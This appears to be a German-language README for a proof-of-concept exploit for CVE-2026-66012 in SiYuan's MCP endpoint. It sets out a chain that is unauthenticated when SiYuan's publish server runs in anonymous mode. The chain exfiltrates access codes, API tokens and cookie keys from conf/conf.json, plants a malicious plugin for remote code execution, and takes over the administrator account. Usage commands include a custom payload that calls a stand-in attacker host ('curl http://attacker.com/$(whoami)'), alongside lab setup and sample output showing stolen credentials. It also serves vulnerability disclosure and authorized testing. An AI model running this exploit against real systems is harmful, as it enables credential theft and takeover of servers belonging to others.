
Nicht authentifizierter Exploit zur Übernahme des Administratorkontos für CVE-2026-66012, der eine fehlende Autorisierung in MCP ausnutzt, um Anmeldedaten zu exfiltrieren und Remote-Codeausführung zu erreichen.
Proof of Concept für CVE-2026-66012 (CVSS 10.0 Kritisch), eine Schwachstelle mit fehlender Autorisierung im MCP-Endpunkt (Model Context Protocol) von SiYuan, die es einem nicht authentifizierten Angreifer ermöglicht, die Kontrolle über den Administrator zu übernehmen und Remote-Code-Ausführung zu erlangen, wenn der Publish-Server im anonymen Modus aktiviert ist.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 Kritisch |
| CWE | CWE-862 — Fehlende Autorisierung |
| Betroffen | SiYuan < v3.7.2 |
| Behoben | v3.7.2 (Commit df51c2bda696) |
| Gemeldet von | Nguyen Van Hiep (@hypnguyen1209), MBBank |
Drei Schwachstellen bilden zusammen die Angriffskette:
POST /mcp ist nur mit model.CheckAuth registriert — ohne CheckAdminRole oder CheckReadonly. Jedes gültige JWT (auch mit Reader-Berechtigung) kann alle 31 MCP-Tools aufrufen.handler.go) ruft die Tools auf, ohne die Rolle des Aufrufers zu prüfen.RoleReader-JWT hinzu, wenn Publish.Auth.Enable=false gesetzt ist, und macht aus dem Fehler der fehlenden Autorisierung einen unauthentifizierten.POST /mcp auf dem Publish-Port (ohne Anmeldedaten)conf/conf.json lesen → accessAuthCode, api.token, cookieKey extrahierendata/plugins/pwn/ → RCE beim nächsten Desktop-Start über nodeIntegration:trueaccessAuthCoderequests-Bibliothek (pip install requests)# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808
# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
Nur für autorisierte Tests. Richten Sie eine verwundbare Instanz lokal ein:
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
Aktualisieren Sie auf SiYuan v3.7.2 oder neuer. Der Fix (Commit df51c2bda696) umfasst:
CheckAdminRole- und CheckReadonly-Middleware auf der /mcp-Routeconf/conf.json im Datei-ToolDieses PoC dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Die unbefugte Verwendung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist illegal. Die Autoren sind nicht für einen Missbrauch dieses Codes verantwortlich.